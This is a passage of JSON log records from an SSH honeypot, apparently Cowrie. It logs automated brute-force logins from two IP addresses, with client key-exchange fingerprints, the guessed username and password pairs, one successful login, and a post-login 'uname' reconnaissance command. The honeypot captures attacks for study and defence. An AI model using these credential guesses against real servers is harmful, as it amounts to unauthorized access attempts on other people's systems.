ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:50.976314Z","src_ip":"91.92.42.133","session":"20a69ae0bad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:51.208715Z","src_ip":"91.92.40.171","session":"51016238b103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00t","message":"login attempt [root/r00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:51.235735Z","src_ip":"91.92.42.133","session":"20a69ae0bad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:52.449446Z","src_ip":"91.92.42.133","session":"20a69ae0bad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52832,"dst_ip":"159.203.135.109","dst_port":22,"session":"98904dc03e87","protocol":"ssh","message":"New connection: 91.92.40.171:52832 (159.203.135.109:22) [session: 98904dc03e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:54.967426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:55.024454Z","src_ip":"91.92.40.171","session":"98904dc03e87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:55.110616Z","src_ip":"91.92.40.171","session":"98904dc03e87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"1234","message":"login attempt [claude/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:55.409549Z","src_ip":"91.92.40.171","session":"98904dc03e87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:56.523682Z","src_ip":"91.92.40.171","session":"98904dc03e87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56306,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff5ed36233aa","protocol":"ssh","message":"New connection: 91.92.42.133:56306 (159.203.135.109:22) [session: ff5ed36233aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:58.380584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:58.708280Z","src_ip":"91.92.42.133","session":"ff5ed36233aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:58.712036Z","src_ip":"91.92.42.133","session":"ff5ed36233aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:00.401011Z","src_ip":"91.92.42.133","session":"ff5ed36233aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:01.641285Z","src_ip":"91.92.42.133","session":"ff5ed36233aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52876,"dst_ip":"159.203.135.109","dst_port":22,"session":"14d049020006","protocol":"ssh","message":"New connection: 91.92.40.171:52876 (159.203.135.109:22) [session: 14d049020006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:01.857940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:01.966455Z","src_ip":"91.92.40.171","session":"14d049020006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:02.547462Z","src_ip":"91.92.40.171","session":"14d049020006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:05.512814Z","src_ip":"91.92.40.171","session":"14d049020006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57494,"dst_ip":"159.203.135.109","dst_port":22,"session":"f928881af79f","protocol":"ssh","message":"New connection: 91.92.40.171:57494 (159.203.135.109:22) [session: f928881af79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:06.110146Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37204,"dst_ip":"159.203.135.109","dst_port":22,"session":"58cb5545fc74","protocol":"ssh","message":"New connection: 91.92.42.133:37204 (159.203.135.109:22) [session: 58cb5545fc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:06.151311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:06.267401Z","src_ip":"91.92.40.171","session":"f928881af79f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:06.270918Z","src_ip":"91.92.40.171","session":"f928881af79f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:06.585286Z","src_ip":"91.92.42.133","session":"58cb5545fc74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:06.588832Z","src_ip":"91.92.42.133","session":"58cb5545fc74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:07.004068Z","src_ip":"91.92.40.171","session":"f928881af79f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:07.155774Z","src_ip":"91.92.40.171","session":"14d049020006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:07.553708Z","src_ip":"91.92.42.133","session":"58cb5545fc74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:08.222389Z","src_ip":"91.92.40.171","session":"f928881af79f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:08.701866Z","src_ip":"91.92.42.133","session":"58cb5545fc74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57540,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3b6a6de98de","protocol":"ssh","message":"New connection: 91.92.40.171:57540 (159.203.135.109:22) [session: f3b6a6de98de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:11.822307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:11.974192Z","src_ip":"91.92.40.171","session":"f3b6a6de98de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:11.978616Z","src_ip":"91.92.40.171","session":"f3b6a6de98de","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:12.716196Z","src_ip":"91.92.40.171","session":"f3b6a6de98de","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:13.047828Z","src_ip":"91.92.40.171","session":"f3b6a6de98de","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:13.050587Z","src_ip":"91.92.40.171","session":"f3b6a6de98de","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:13.172495Z","src_ip":"91.92.40.171","session":"f3b6a6de98de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:13.177648Z","src_ip":"91.92.40.171","session":"f3b6a6de98de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37254,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8be04169140","protocol":"ssh","message":"New connection: 91.92.42.133:37254 (159.203.135.109:22) [session: c8be04169140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:13.405407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:13.742856Z","src_ip":"91.92.42.133","session":"c8be04169140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:13.746111Z","src_ip":"91.92.42.133","session":"c8be04169140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:15.468264Z","src_ip":"91.92.42.133","session":"c8be04169140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:17.198243Z","src_ip":"91.92.42.133","session":"c8be04169140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":54894,"dst_ip":"159.203.135.109","dst_port":22,"session":"aced7d621554","protocol":"ssh","message":"New connection: 91.92.40.171:54894 (159.203.135.109:22) [session: aced7d621554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:17.491669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:17.578346Z","src_ip":"91.92.40.171","session":"aced7d621554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-s